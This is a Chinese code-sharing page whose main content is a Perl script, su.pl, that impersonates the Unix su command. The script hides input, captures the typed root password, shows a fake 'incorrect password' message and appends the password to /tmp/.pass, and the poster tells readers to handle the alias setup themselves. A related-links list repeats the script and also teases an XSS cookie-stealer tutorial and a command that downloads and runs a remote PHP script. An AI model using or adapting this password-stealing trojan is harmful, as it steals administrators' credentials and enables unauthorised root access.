冒充su ,perl写的su.pl盗取root密码
我改了一下,把回显关了 加了个延时:
#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明显直接用是8行的,还有别名恢复等工作要做,各位看官自己搞定!
相关推荐
-
重置MySQL数据库root密码(linux/windows)
(1)Linux系统 在SSH中执行下面的命令即可将MySQL密码重置为diavps 复制代码 代码如下: rm -f reset-mysql-root-password.phps wget http://down.hostwiki.info/mysql/reset-mysql-root-password.phps php reset-mysql-root-password.phps diavps 注意不要在带有管理面板(如Kloxo或DA)的环境中使用这个方法重置. 脚本中第13行中的以安全模
-
windows下mysql忘记root密码的解决方法
方法一: 1.在DOS窗口下输入net stop mysql5 或 net stop mysql 2.开一个DOS窗口,这个需要切换到mysql的bin目录. 一般在bin目录里面创建一个批处理1.bat,内容是cmd.exe运行一下即可就切换到当前目录,然后输入 mysqld-nt --skip-grant-tables; 或 mysqld --skip-grant-tables; 不要关闭窗口 3.再开一个DOS窗口,mysql -u root 4.输入: 复制代码 代码如下: use my
-
冒充su ,perl写的su.pl盗取root密码
我改了一下,把回显关了 加了个延时: #!/usr/bin/perl # Written by xi4oyu <evil.xi4oyu@gmail.com>. print "Password: "; `stty -echo`; $s1=<STDIN>; print "\n"; `stty echo`; sleep 3; print "su: incorrect password\n"; chomp($s1); $s2=&q
-
JS写XSS cookie stealer来窃取密码的步骤详解
JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数.JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie. Cookie是站点请求和保持特定访问页面的信息.Cookie含有访问的方式.时间.用户名密码等认证信息等.当用户访问给定站点时,必须使用cookie:如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息.对某个特定的域名,使用JS可以保存或修改用户的cookie.也就是说,
-
用python写一个带有gui界面的密码生成器
需要用到的库: tkinter:构建gui界面 pyperclip:复制功能 random:生成随机数 string:处理字符串 代码: from tkinter import * import random, string import pyperclip root =Tk() root.geometry("400x400") root.resizable(0,0) root.title("密码生成器") heading = Label(root, text =
-
perl写的一个随机编故事的程序(rand随机函数)
复制代码 代码如下: #!/bin/perluse strict; use warnings; #定义变量 my $count; my $input; my $number; my $sentence; my $story; #定义四个数组 #定义了人物数组 my @nouns= ( 'Dad', 'TV', 'Mom', 'Groucho', 'Rebecca', 'Harpo', 'Robin Hood', '
-
用perl写的单位电脑信息采集程序
复制代码 代码如下: 主要用于收集ip.mac.姓名.房间,后来又加入了维修记录的功能.服务器端接受数据并存入数据库中. ############################# use strict; use Tk; use Encode; #SOCKE参数 my $PF_INET = 2; my $port = 2345; my $remote_addr = pack('SnC4x8',$PF_INET,$port,192,168,138,228); my $SOCK_DGRAM =
-
Linux禁止普通用户su至root的解决方法
一.概述 为禁止普通用户su至root,需要分别修改/etc/pam.d/su和/etc/login.defs两个配置文件. 二.详细配置 (1)去除/etc/pam.d/su文件中如下行的注释: #auth required pam_wheel.so use_uid (2)在/etc/login.defs文件中加入如下配置项: SU_WHEEL_ONLY yes 经过上述配置后,普通用户将被禁止su至root,如果希望指定普通用户su至root,可以执行如下命令将该用户添加至wheel组中:
-
Android Root设备中的su权限获取和使用详解
ROOT权限简介: ROOT权限是Linux内核中的最高权限,如果你的身份是ROOT,那么你就具有了ROOT权限.有了最高权限,你就可以为所欲为,换句话说,如果恶意程序获取到了ROOT权限,那么就可以肆意地破坏你的手机,获取的隐私...所以厂商一般在生产手机的时候,不会提供给用户ROOT权限,官方宣称是为了保护用户手机的安全,然后装了一堆开机自动启动,而用户这辈子也用不到也卸载不了垃圾软件(相信使用安卓的同学们都懂我的意思),而苹果所说的越狱,也就是获取ROOT权限. 为什么需要获取ROOT权限
-
Linux中sudo、su和su -命令的区别小结
前言 在Linux系统中,由于root的权限过大,一般情况都不使用它.只有在一些特殊情况下才采用登录root执行管理任务,一般情况下临时使用root权限多采用su和sudo命令. su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户tom登录的,但要添加用户任务,执行useradd ,tom用户没有这个权限,而这个权限恰恰由root所拥有.解决办法无法有两个,一是退出tom用户,重新以root用户登录,但这种办法并不是最好的:二是我们没有必要退出tom用户,可以用su来切换到root下进行
-
Linux下普通用户用sudo su给自己加root权限的方法
首先: sudo这个命令就是给后面的命令加上root权限(sudo=superuser do),su这个命令是switch user,切换用户,你sudo su这个命令的意思是用root的权限来切换到()用户.你根本没有指定用户,当然切换不过去 你要切换到root,那就是su root,然后输入root的密码,你要让自己成为有执行sudo权限的人,那就要修改sudoer-list,在命令行里敲 sudo visudo 打开如图所示: 然后在打开的文件里把你的用户名加上去(按照里面已有的用户的格
-
Ubuntu中的sudo和su命令介绍
Ubuntu默认不能直接用root帐户登录,必须从第一个创建的用户(既安装时创建的那个用户)通过su或sudo来获得root权限.在Ubuntu中对系统进行操作很多时候都要使用这个命令,由此可见对于新来说很有必要来认识这个命令.这或许不太方便,但这样增加了安全性,避免用户由于误操作而损坏系统. 一. sudo(Super User Do) sudo + 某些直接运行提示无权限的命令.sudo即为Super user do的意思 解释 不是所有命令都能用sudo执行的,比如 cd 命令前不能用su
随机推荐
- Angular2关于@angular/cli默认端口号配置的问题
- 在阿里云 (aliyun) 服务器上搭建Ruby On Rails环境
- mybatis分页插件pageHelper详解及简单实例
- 正则表达式——详细讲解平衡组
- 详解Python中的type()方法的使用
- Js与下拉列表处理问题解决
- js取滚动条的尺寸的函数代码
- Symfony2函数用法实例分析
- JavaScript结合Bootstrap仿微信后台多图文界面管理
- 举例讲解Python中的Null模式与桥接模式编程
- 深入解析Linux下MySQL数据库的备份与还原
- php asp.net 比较 [推荐]
- 关于多线程常用方法以及对锁的控制(详解)
- 简单介绍JavaScript中字符串创建的基本方法
- Apache SSL服务器配置SSL详解
- apache 二级域名解析 (window与linux)
- 万网CN域名免费注册的活动注册地址
- 详解如何在vue-cli中使用vuex
- Python多叉树的构造及取出节点数据(treelib)的方法
- 详解JavaScript中关于this指向的4种情况